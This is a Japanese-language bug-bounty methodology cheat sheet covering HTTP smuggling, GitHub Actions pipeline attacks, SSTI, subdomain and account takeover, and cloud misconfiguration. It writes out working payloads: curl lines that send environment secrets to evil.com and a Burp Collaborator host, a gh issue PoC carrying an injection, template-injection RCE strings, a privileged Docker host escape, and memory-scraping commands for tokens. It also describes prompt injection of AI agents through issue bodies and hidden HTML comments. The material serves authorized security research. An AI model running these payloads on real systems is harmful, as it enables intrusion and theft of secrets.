| ASI01 | プロンプトインジェクション | ユーザー入力を介してシステムプロンプトを上書きし、エージェントにルールを無視させます |
| ASI02 | ツールの誤用 | 攻撃者が制御するパラメーターで AI にツールを呼び出させます(「URL を取得」による SSRF、コードツールによる RCE) |
| ASI03 | データの流出 | コンテキストを漏えいさせるよう細工したプロンプトを使い、学習データ/PII を抽出します |
| ASI04 | 権限昇格 | AI を使って管理者専用ツールにアクセスします。エージェントはユーザーより広い権限を持っています |
| ASI05 | 間接インジェクション | AI が処理するドキュメント/URL に不正な内容を仕込みます。取得したコンテンツに隠し命令を埋め込みます |
| ASI06 | 過剰な自律性 | AI が確認なしに破壊的な操作を行います(削除、送信、支払い) |
| ASI07 | モデル DoS | 無限ループ、過剰なトークン使用、または OOM を引き起こす入力を細工します |
| ASI08 | 安全でない出力 | AI が出力内に XSS/SQLi/コマンドインジェクションを生成し、それがレンダリングされます |
| ASI09 | サプライチェーン | AI が呼び出すプラグイン/ツール/MCP サーバーが侵害されています |
| ASI10 | 機密情報の漏えい | AI が内部設定、API キー、システムプロンプト、ユーザーデータを明らかにします |
トリアージルール: ASI 単独では Informational です。有償バウンティの対象にするには、IDOR/流出/RCE/ATO につなげる必要があります。
キャッシュポイズニング/Web キャッシュ欺瞞
-
X-Forwarded-Host、X-Original-URL、X-Rewrite-URLをテストします。キーに含まれないヘッダーが応答に反映されます - パラメータークローキング(
?param=value;poison=xss) - Fat GET(GET リクエストのボディパラメーター)
- Web キャッシュ欺瞞(
/account/settings.css— キャッシュに非公開の応答を保存させます) - Param Miner(Burp 拡張機能)— キーに含まれないヘッダーを自動検出します
HTTP リクエストスマグリング
- CL.TE:フロントエンドは Content-Length を処理し、バックエンドは Transfer-Encoding を処理します
- TE.CL:フロントエンドは Transfer-Encoding を処理し、バックエンドは Content-Length を処理します
- H2.CL:HTTP/2 のダウングレードを利用したスマグリング
- TE の難読化:
Transfer-Encoding: xchunked、タブのプレフィックス、空白のプレフィックス - Burp の「HTTP Request Smuggler」拡張機能を使用します。自動検出できます
CL.TE の例
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
フロントエンドは Content-Length: 13 を読み取り、すべてを送信します。バックエンドは Transfer-Encoding を読み取り、チャンク「0」を終端として認識します。「SMUGGLED」がバッファーに残り、次のユーザーのリクエストが汚染されます。
Android/モバイルの調査
- 証明書ピンニングのバイパス(Frida/objection)
- エクスポートされたアクティビティ/レシーバー(AndroidManifest.xml)
- ディープリンクインジェクション
- Shared Preferences/SQLite の平文保存
- WebView JavaScript ブリッジ
- モバイル API は、Web 版より古い、または異なる API バージョンを使用していることがよくあります
CI/CD パイプライン — GitHub Actions のセキュリティ
ツール:sisakulint を自動 SAST に使用してください。52 個のルール、ステップ/ジョブ/再利用可能なワークフローをまたぐ汚染伝播、GitHub Security Advisories の 81.6%をカバー(38 件中 31 件の GHSA)しています。インストール:
brew install sisakulint、またはリリースからバイナリをダウンロードしてください。クイックスキャン:
sisakulint scan .github/workflows/— Critical/High の問題を、自動修正の提案とともに検出します。 リモートスキャン:sisakulint scan --remote owner/repo— クローンせずにスキャンします。
偵察:ワークフローファイルの検出
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
カテゴリー 1:コードインジェクションと式の安全性(CICD-SEC-04)
根本原因:信頼できない入力(github.event.issue.title、github.event.pull_request.body、ブランチ名、コミットメッセージ)が、${{ }} 式を介して run: ブロックに埋め込まれています。
汚染源(攻撃者が制御可能):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
- 式インジェクション —
run:ブロック内の${{ github.event.issue.title }}= RCE# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - 環境変数インジェクション — 信頼できない入力 →
$GITHUB_ENV# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH インジェクション — 信頼できない入力 →
$GITHUB_PATH= 任意のバイナリの実行 - 出力の改ざん — ヒアドキュメントの区切り文字を使わずに信頼できない入力 →
$GITHUB_OUTPUT= 後続ジョブの操作 - 引数インジェクション — 信頼できない入力を CLI 引数として使用(例:
docker run ${{ ... }})# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - リクエスト偽造(SSRF) — ワークフロー内の
curl/wgetに攻撃者が制御する URL を指定
カテゴリー 2:パイプラインポイズニングと信頼できないチェックアウト
根本原因:特権トリガー(pull_request_target、workflow_run)で攻撃者の PR コードをチェックアウトし、そのコードがリポジトリのシークレットを使って実行されます。
- 信頼できないチェックアウト — 安全な ref を明示せず、
pull_request_targetでactions/checkoutを実行# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU(チェック時と使用時の競合) — ラベルによる承認と変更可能な ref の組み合わせにより、攻撃者がラベルを追加し、承認後に悪意のあるコミットをプッシュできる
- 再利用可能なワークフローの汚染 —
secrets: inheritにより、信頼できない入力を処理する呼び出し先ワークフローにすべてのシークレットが渡される - キャッシュポイズニング — 信頼できないチェックアウト → ビルド → キャッシュへの書き込み → 信頼されたワークフローが汚染されたキャッシュを読み込む
- キャッシュポイズニング(汚染可能なステップ) — 安全でないチェックアウトの後、キャッシュ保存の前にビルドステップを実行
- アーティファクトポイズニング — 検証せずに、信頼できない
workflow_runからactions/download-artifactを実行# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked —
actions/checkoutのpersist-credentials: true(デフォルト)により、アップロードされたアーティファクト内の.git/configにある認証情報が漏えいする# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
カテゴリー 3:サプライチェーンと依存関係のセキュリティ(CICD-SEC-08)
- ピン留めされていないアクション — SHA でピン留めせず、
uses: actions/checkout@v4(変更可能なタグ)を使用# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - なりすましコミット — フォークネットワークにより、上流リポジトリのものに見える SHA のコミットをプッシュできる
- ref の混同 — あいまいなタグ名/ブランチ名を悪用して、意図しないバージョンのアクションを読み込む
- 既知の脆弱なアクション — GHSA データベースを使ってアクションを確認(sisakulint が自動検出)
- アーカイブ済みアクション — 脆弱性が修正されないままの、メンテナンスされていないアクション
- ピン留めされていないコンテナーイメージ — SHA256 ダイジェストでピン留めせず、
image: ubuntu:latestを使用
カテゴリー 4:認証情報とシークレットの保護
- シークレットの持ち出し — ワークフロー内で
curl https://evil.com/${{ secrets.TOKEN }}を実行 - アーティファクト内のシークレット — アップロードされたアーティファクトに
.env、認証情報、または隠しファイルが含まれる# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - マスクされないシークレット —
fromJson()から派生した値が GitHub の自動マスキングを回避する# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - 過剰な
secrets: inherit— 必要なシークレットが 1 つだけなのに、再利用可能なワークフロー呼び出しですべてのシークレットを継承 - ハードコードされた認証情報 — API キー、パスワード、トークンをワークフロー YAML に直接記述
カテゴリ 5:トリガーとアクセス制御(CICD-SEC-01)
- 緩和策のない危険なトリガー —
permissions: {}、承認ゲート、ref の制限がないpull_request_targetまたはworkflow_run - 一部のみ緩和された危険なトリガー — 何らかの保護はあるものの、回避可能
- ラベルベースの承認回避 —
if: contains(github.event.pull_request.labels.*.name, 'approved')は偽装可能です(攻撃者がラベルを追加できます) - ボット条件の偽装 —
if: github.actor != 'dependabot[bot]'は、似た名前のアカウントを作れば簡単に回避できます - GITHUB_TOKEN の過剰な権限 —
contents: readだけで十分なのにpermissions: write-allを指定 - パブリックリポジトリでのセルフホストランナー — 信頼されていない PR が組織のインフラ上で実行されることで、コンテナからの脱出 → ラテラルムーブメントが発生
- OIDC トークンの窃取 — CI ランナーがクラウドへのアクセス権を付与する OIDC トークンを公開
カテゴリ 6:AI エージェントのセキュリティ(新規 — 2025 年以降)
- 制限のない AI トリガー —
allowed_non_write_users: "*"により、すべてのユーザーが AI エージェントの実行をトリガーできます - 過剰なツールの付与 — 信頼されていないトリガーのコンテキストで AI エージェントに Bash/Write/Edit ツールを付与すると、攻撃者のプロンプト → RCE につながります
- ワークフローコンテキスト経由のプロンプトインジェクション —
${{ github.event.issue.body }}が AI エージェントのプロンプトパラメーターに埋め込まれます
脆弱性調査ワークフロー
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
式インジェクションの PoC テンプレート
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
実際の GHSA(報奨金の支払い実績あり)
| GHSA | アクション | バグの種類 | 深刻度 |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | ブランチ名経由の式インジェクション | 致命的 |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | 特権トリガーでのコードインジェクション | 致命的 |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | ビルドログでのシークレット漏えい | 致命的 |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | アーティファクトの汚染(公式アクション) | 高 |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | 信頼されていないチェックアウト経由のキャッシュ汚染 | 高 |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | サプライチェーン — 偽装コミット | 高 |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | コードインジェクション経由のトークン漏えい | 致命的 |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | タグの固定化を悪用した時限爆弾 | 高 |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | 脆弱性が既知の公式アクション | 高 |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | ビルドワークフローでの引数インジェクション | 中 |
A→B シグナル:CI/CD チェーン
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
詳細解説:sisakulint の検出結果から報奨金レポートまで
sisakulint の検出結果は悪用される可能性があることを示すものであり、バグが確認されたわけではありません。検出結果はすべて手動で検証する必要があります。以下のパターンは、実際に報奨金が支払われた 36 件のレポート(総額 250,000 ドル以上)から抽出したものです。各セクションでは、実際の報奨金獲得につながった考え方を紹介します。
1. コードインジェクション/引数インジェクション
判定の質問: 外部の攻撃者がこのワークフローを実行でき、かつ汚染された入力がシェルコンテキストに到達しますか?
検証の深さ:
- トリガーへのアクセス可能性 —
issues: openedとissue_comment: createdは、すべての GitHub ユーザーがトリガーできます。pull_request_targetはフォークからの PR 経由でトリガーできます。アクターや関連付けでフィルタリングするif:条件があるか確認してください。 - 直接的な汚染と間接的な汚染 — ワークフローファイル自体は安全に見えることがあります。Cycode は、
cherry-picker.ymlが${{ github.event.issue.title }}をwith:経由で別のリポジトリのコンポジットアクション(bazelbuild/continuous-integration)に渡していたことから、Bazel の 13,000 ドルのバグを発見しました。このコンポジットアクションのaction.ymlにはrun: TITLE="${{ inputs.issue-title }}"がありました。従来のスキャナー(actionlint)は、uses:をたどって外部のコンポジットアクションを確認しないため、この問題を検出できませんでした。必ずコンポジットアクションのaction.ymlを取得して確認してください。 - ペイロードの構築 — ブランチ名にはスペースを含められません。Ultralytics YOLO の攻撃者は
${IFS}(内部フィールド区切り文字)と Bash のブレース展開{curl,-sSfL,URL}を使ってこれを回避しました。Issue のタイトルや本文には、このような制限はありません。 - シークレットへの到達可能性 — ワークフローとジョブの両方のレベルで
permissions:を確認してください。明示的なpermissions:ブロックがない場合は、リポジトリのデフォルト設定(多くの場合write-all)が使われます。${{ secrets.* }}を含むenv:ブロックがあるか確認してください。GITHUB_TOKENに書き込み権限があるか確認してください。 - 影響の連鎖 — Bazel の場合:Issue のタイトルへのインジェクション → コンポジットアクションのシェルインジェクション →
BAZEL_IO_TOKEN+GITHUB_TOKEN (write-all)→ Bazel コードベースにバックドアを仕込む能力(Google、Kubernetes、Uber、LinkedIn に影響)。
除外すべき兆候: ブール値を返す ${{ contains(...) }} や ${{ startsWith(...) }} はインジェクション可能ではありません。誤検知です。contains() 内の ${{ github.event.pull_request.labels.*.name }} はラベルのテキストではなく、true/false として評価されます。
2. 信頼できないチェックアウト(Pwn リクエスト)
判定の質問: ワークフローは攻撃者が制御するコードをチェックアウトし、その後、そのチェックアウトから何かを実行しますか?
検証の深さ:
- 明示的なコード実行と暗黙的なコード実行 — Flank の 7,500 ドルのバグ:
gh pr checkout→gradle/gradle-build-actionが Gradle を実行 → Gradle がsettings.gradle.ktsを Kotlin スクリプトとして自動評価します。攻撃者はrun:コマンドを一切書いていません。リポジトリの設定を読み込むビルドツールはすべて、コード実行の経路になります:Makefile、package.json(postinstall スクリプト)、setup.py、build.gradle.kts、.cargo/config.toml、Gemfile。 - issue_comment は pull_request_target と同じくらい危険です — Rspack の NPM トークン窃取:
issue_commentトリガー+refs/pull/${{ github.event.issue.number }}/headのチェックアウト。issue_commentはすべてのシークレットを利用できるベースリポジトリのコンテキストで実行されます。ドラフト PR も対象です。コントリビューターのステータス確認はありません。PR のチェックアウトパターンがないか、必ず issue_comment ワークフローを確認してください。 - セルフホストランナーの権限昇格 —
runs-on:にself-hostedが含まれる場合、次を確認します:(a) ランナーはエフェメラルですか?(config.sh の--ephemeral)。(b) ランナーは Docker グループに属していますか?(docker run -v /:/host --privileged)。(c) PyTorch のパターン:コントリビューターを利用した手口(誤字修正 PR → マージ → コントリビューターのステータス → 承認なしでセルフホストランナー上の自動トリガー)→ RoR(Runner-on-Runner:RUNNER_TRACKING_ID=0+攻撃者のランナーエージェントをインストール)→ 特権ワークフローを待つ →.git/configまたはプロセスメモリから PAT を窃取。 - TOCTOU — ラベルでゲートする
pull_request_targetワークフロー:攻撃者がラベルを追加させ(ソーシャルエンジニアリング)、ワークフローがラベルの存在を確認した後、チェックアウト前に攻撃者が悪意あるコミットをプッシュします。チェックアウト時点でref:は新しいコミットを解決します。可変の参照(トリガー時のgithub.event.pull_request.head.shaとチェックアウト時の値の違い)が根本原因です。 - 侵入後の活動 — 最初のアクセス後、すべてのシークレットを列挙します:
env | base64、cat /proc/self/environ、gcore $(pgrep Runner.Worker)+strings core.* | grep ghp_。PyTorch の攻撃者は 3 つのボット用 PAT を入手し、それらを組み合わせて main のブランチ保護を回避しました。
攻撃を阻止する兆候: if: "!github.event.pull_request.head.repo.fork" は外部の攻撃者をブロックします。ワークフローレベルで permissions: {} を設定し、ジョブレベルで contents: read のみを許可すると、被害を抑えられます。--ephemeral フラグを指定したエフェメラルランナーは、永続化を防ぎます。
3. アーティファクトポイズニング
判定質問: ステージ 1(pull_request、シークレットなし)でアーティファクトをアップロードし、ステージ 2(workflow_run、シークレットあり)でダウンロードして使用する、2 段階のワークフローパターンがありますか?
検証の深さ:
- ワークフロー間のアーティファクトの受け渡し — 同じワークフロー内でのアップロード/ダウンロード(
needs:を介したビルドジョブ → テストジョブ)は、攻撃者の PR が独自のビルドを実行するため、ポイズニングできません。危険なのは、pull_requestワークフローがアップロードし、別のworkflow_runワークフローがダウンロードするパターンです。workflow_runは別のワークフローの完了時にトリガーされ、シークレットに完全にアクセスできるデフォルトブランチのコンテキストで実行されます。 - ダウンロード先が重要 —
path: .やワークスペース相対パス(grafana-server/bin)を指定したactions/download-artifactは、ソースコード、ビルドスクリプト、バイナリを上書きする可能性があります。安全なパターンは、${{ runner.temp }}/artifactsに展開することです。 - ソースの検証 —
workflow_runの利用側は、github.event.workflow_run.head_repository.full_name != github.repositoryを確認していますか?確認していない場合、フォーク PR のアーティファクトが無条件で使用されます。Rust のリリースパイプラインは、まさにこの問題に対して脆弱でした。 - ArtiPACKED(persist-credentials) —
actions/checkoutのデフォルトはpersist-credentials: trueです。これにより、GITHUB_TOKENが.git/configに書き込まれます。アーティファクトのアップロード対象パスに.git/が含まれる場合(例:path: .)、Actions アーティファクトからトークンを誰でもダウンロードできてしまいます。確認事項:upload-artifactステップで、path: .や.git/を含む広い範囲を対象とするパスを指定していませんか?
危険性を否定できる兆候: アップロードとダウンロードが、needs: で連結された同じワークフロー実行内で行われること。workflow_run の利用側がフォーク由来かどうかを明示的に確認していること。チェックアウト時に persist-credentials: false が設定されていること。
4. キャッシュポイズニング
判定質問: フォーク PR がキャッシュエントリを書き込み、後でデフォルトブランチが特権コンテキストで復元する可能性がありますか?
重要:GitHub のキャッシュスコープでは、この問題を完全には防げません。 PR ブランチはデフォルトブランチのキャッシュを読み取れます。フォーク PR のワークフローはキャッシュエントリを書き込めます。キャッシュキーが決定論的(hashFiles('package-lock.json'))で、攻撃者がそのファイルを変更しない場合、フォーク PR は同じキャッシュキーに書き込みます。
検証の深さ:
- キーの予測可能性 —
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}は完全に予測可能です。キーにgithub.shaやgithub.run_idを追加すると、予測できなくなります。すべてのキャッシュキーに、予測不可能な要素が含まれているか確認してください。 - キャッシュ階層の悪用 —
workflow_runおよびworkflow_dispatchワークフローは、デフォルトブランチのコンテキストで実行されます。これらが予測可能なキーでキャッシュを書き込む場合、上流のワークフローをトリガーできる攻撃者(フォーク PR 経由)が、事前にキャッシュをポイズニングできます。run-dashboard-search-e2e.ymlのパターンは、workflow_runトリガー →hashFiles()キーを使ったactions/cache→ すべての PR ワークフローがこのキャッシュを読み取る、というものです。 - ペイロードの注入 — Cacheract:パッケージマネージャーのキャッシュ(
node_modules/.cache、~/.cache/pip、~/.gradle/caches)にマルウェアを注入します。復元 → ビルド → 保存のサイクルごとにペイロードが保持されるため、マルウェアは自己増殖します。キャッシュの有効期間は 7 日間のため、ペイロードは複数回のワークフロー実行にわたって残存します。 - 特権コンテキストでの使用 — デフォルトブランチ上の
pushまたはscheduleワークフローでキャッシュが復元されます。これらのワークフローは、すべてのsecretsにアクセスできます。ポイズニングされた依存関係は、npm install/pip install/gradle buildの実行中に動作し、シークレットを外部に流出させます。 - Clinejection の連鎖 — プロンプトインジェクション → AI エージェントが攻撃者のコミットから
npm installを実行 → npm キャッシュ内の Cacheract → 夜間の公開ワークフローがキャッシュを復元 → VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN が盗まれる → 悪意のある Cline v2.3.0 が 8 時間にわたって公開される。
危険性を否定できる兆候: キャッシュキーに github.sha または github.run_id が含まれること。ワークフローごとにキャッシュキーが分かれていること。PR ワークフローで actions/cache(読み書き可能)の代わりに actions/cache/restore(読み取り専用)を使用していること。
5. セルフホストランナー
ゲート質問: 外部コントリビューターがワークフローをトリガーできる公開リポジトリで、セルフホストランナーを使用していますか?
検証の深さ:
- 承認設定 — デフォルトは「初めてのコントリビューターに承認を求める」です。PR が 1 件でもマージされると(誤字修正であっても)、攻撃者は「コントリビューター」となり、それ以降の PR は承認なしで自動的にトリガーされます。GitHub runner-images の 2 万ドルのバグでも、まさにこの手口が使われました。
- ランナーの永続性 — エフェメラルではないランナーは、ジョブ間で状態を保持します。
RUNNER_TRACKING_ID=0を設定すると、ジョブ完了後に攻撃者のプロセスがランナーによってクリーンアップされなくなります。デタッチされた Docker コンテナ(docker run -d --restart always)もクリーンアップを乗り越えて残ります。 - ランナー上のランナー(RoR) — 対象のセルフホストランナーに公式 GitHub Actions ランナーのバイナリをインストールし、攻撃者のプライベート組織に登録します。正規の GitHub バイナリと github.com への HTTPS 接続のみを使用するため、通常のランナートラフィックと見分けがつきません。C2 サーバーは不要です。GitHub 自体が C2 になります。
- ラテラルムーブメント — RoR による永続化 → 特権を持つ
push/scheduleワークフローを待機 →.git/config、$GITHUB_ENV、/proc/PID/environ、または Runner.Worker プロセスのメモリからトークンを窃取します。PyTorch の事例:ボット用 PAT 3 個 → 93 個のリポジトリ → AWS S3 への書き込みアクセス →pip install pytorchによるサプライチェーン攻撃。 - Docker グループ権限の昇格 —
docker run -v /:/host --privileged alpine chroot /host→ ホストの完全な root 権限。SSH キーの追加、sudoers の変更、永続的なバックドアのインストールを行います。
阻止要因: ランナー登録時に --ephemeral フラグを指定します。「初めてのコントリビューター」だけでなく「すべての外部コラボレーター」に承認を求めます。ランナーを Docker グループに所属させません。プライベートリポジトリ(外部からの PR なし)を使用します。
6. サプライチェーン(commit-sha/impostor-commit/ref-confusion)
ゲート質問: ワークフローでアクションに可変タグ(@v1、@v2)を使用しており、それらのタグが置き換えられる可能性はありますか?
検証の深さ:
- タグの可変性 —
git tag -f v1 <malicious-commit>でタグを置き換えられます。リポジトリの 98.4%は SHA ピン留めを使用していません(Legit Security 2024)。tj-actions 攻撃では、すべてのバージョンタグ(v1、v35、v45)が memdump.py ペイロードに置き換えられ、2 万 3 千のリポジトリが影響を受け、218 件のシークレット漏えいが確認されました。 - なりすましコミット — フォークネットワークは親リポジトリとオブジェクトストアを共有します。攻撃者がフォークにコミットをプッシュし、そのコミット SHA を親リポジトリの
uses:で参照します。SHA が共有オブジェクトストアに存在するため、GitHub はこれを解決します。 - RepoJacking — 組織名を変更するとリダイレクトが作成され、古い名前が利用可能になります。攻撃者は古い組織名を登録し、同じリポジトリを作成して、悪意のあるアクションをホストします。Shopify/unity-buy-sdk は
MirrorNG/unity-runnerを使用していましたが、MirrorNG が MirageNet に名前を変更したため、MirrorNGは取得可能になりました。確認方法:GET /users/<action-owner>が 404 を返しますか?乗っ取りが可能です。 - ペイロードの隠蔽 — tj-actions の memdump.py は、
/proc/PID/mapsと/proc/PID/memを使って Runner.Worker プロセスのメモリからシークレットを抽出し、AES+RSA で暗号化して、ワークフローログに出力します。ログは誰でも閲覧できますが、暗号化されており、鍵を持つのは攻撃者だけです。
阻止要因: 40 文字の完全な SHA でピン留めします(uses: actions/checkout@b4ffde65...)。github-actions エコシステム向けに Dependabot を設定します。組織レベルでアクションの許可リストを設定します。
7. AI エージェントのセキュリティ
ゲート質問: 外部ユーザーがプロンプトに影響を与えられるワークフローで、AI エージェント(Gemini CLI、Claude Code、Cline、Codex)が呼び出されていますか?
検証の深さ:
- トリガーとプロンプトのソース —
issues: opened→ AI トリアージボットがgithub.event.issue.bodyを読み取ります。本文そのものがプロンプトです。HTML コメント(``)は GitHub の UI では見えませんが、API レスポンスに含まれるため、AI プロンプトにも含まれます。 - ツールの権限 — AI エージェントが Bash/Write/Edit ツールを持ち、環境変数にシークレットが設定された状態で実行される場合、プロンプトインジェクションは RCE とシークレットの窃取につながります。
allowed_non_write_users: "*"は、誰でもトリガーできることを意味します。 - 複数フェーズの連鎖 — Clinejection:プロンプトインジェクション → AI が攻撃者のコミットから
npm installを実行 → Cacheract が npm キャッシュに仕込む → 夜間の公開処理がキャッシュを復元 → トークンが盗まれる → 悪意のあるバージョンが公開される。プロンプトインジェクションだけの指摘は深刻度が低く見える場合がありますが、キャッシュポイズニングやサプライチェーン攻撃への入り口になり得ます。
即時に遮断すべきシグナル: AI による処理の前に author_association == 'MEMBER' || 'OWNER' を確認していること。AI CLI に --read-only --no-exec フラグを指定していること。ワークフローレベルで permissions: {} を設定していること。
8. 権限/シークレットの衛生管理
単独ではバグではありません — これらは影響を増幅させます。permissions: write-all を伴う code-injection-medium はクリティカルです。同じインジェクションでも、permissions: { contents: read } であれば影響は限定されます。
連鎖の確認項目:
- 再利用可能なワークフローの呼び出しに
secrets: inheritがある → 呼び出されたワークフローから組織のすべてのシークレットにアクセス可能 permissions:ブロックがない → リポジトリのデフォルト権限(多くの場合write-all)contents: writeを持つGITHUB_TOKEN→ CVE-2022-46258 のパターン:Contents API を使って新しいワークフローファイルを作成 → 新しいワークフローからリポジトリ/組織のすべてのシークレットにアクセス可能(元のワークフローはそれらのシークレットを参照していません)
主な参考資料:
- sisaku-security/agent-idea/bugbountyreport — 完全な攻撃チェーンを含む、実際の報告事例36件
- sisakulint docs/advisory — 検出方法との対応付けを含む38件の GHSA
- DEF CON 32: Grand Theft Actions — Khan 氏と Stawinski 氏による、セルフホストランナーのバグで25万ドル以上の報奨金を得た事例
- Synacktiv: GitHub Actions Exploitation (5 parts)
SSTI -- サーバーサイドテンプレートインジェクション
検出用ペイロード
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
テストする箇所
- 名前/プロフィール/説明欄(プロフィールページ)
- メールテンプレート(請求書の名前、確認メール内のユーザー名)
- カスタムエラーメッセージ
- PDF 生成機能(請求書、レポートのエクスポート)
- URL パスパラメーター
- 検索結果に反映される検索クエリ
Jinja2 -> RCE(Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE(PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE(Ruby on Rails)
<%= `id` %>
サブドメインの乗っ取り
検出
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
迅速に判断できるフィンガープリント
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
影響の拡大
- 基本的な乗っ取り:target.com のサブドメインでページを配信する → 低/中
-
- Cookie:target.com がドメインを
.target.comとする Cookie を設定している場合 → 認証情報の窃取 → 高
- Cookie:target.com がドメインを
-
- OAuth リダイレクト:sub.target.com が登録済みの redirect_uri の場合 → ATO への連鎖 → クリティカル
-
- CSP バイパス:sub.target.com が target の CSP に含まれている場合 → あらゆる場所で XSS → クリティカル
ATO -- アカウント乗っ取り(完全な分類)
経路1:パスワードリセットのポイズニング(Host ヘッダーインジェクション)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
経路2:Referer からのリセットトークン漏えい
リセットリンクをクリックした後、ページが外部リソースを読み込む場合、Referer ヘッダーを通じてトークンが外部ドメインに送信されます。
経路3:予測可能な/脆弱なリセットトークン
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
経路4:トークンが失効しない/再利用できる
トークンを要求する → 2時間待つ → 使用する → まだ有効ですか? トークン#1を要求する → トークン#2を要求する → トークン#1を使用する → まだ有効ですか?
経路5:再認証なしでのメールアドレス変更
PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim
経路6:OAuth アカウント連携の悪用
既存アカウントに、異なるメールアドレスの OAuth アカウントを連携できますか?
パス 7:セッション固定
GET /login -> Set-Cookie session=XYZ を記録 -> ログイン -> セッション ID は変わりますか?変わらない場合は、セッション固定です。
クラウド/インフラの設定ミス
S3/GCS/Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 メタデータ(SSRF 経由)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
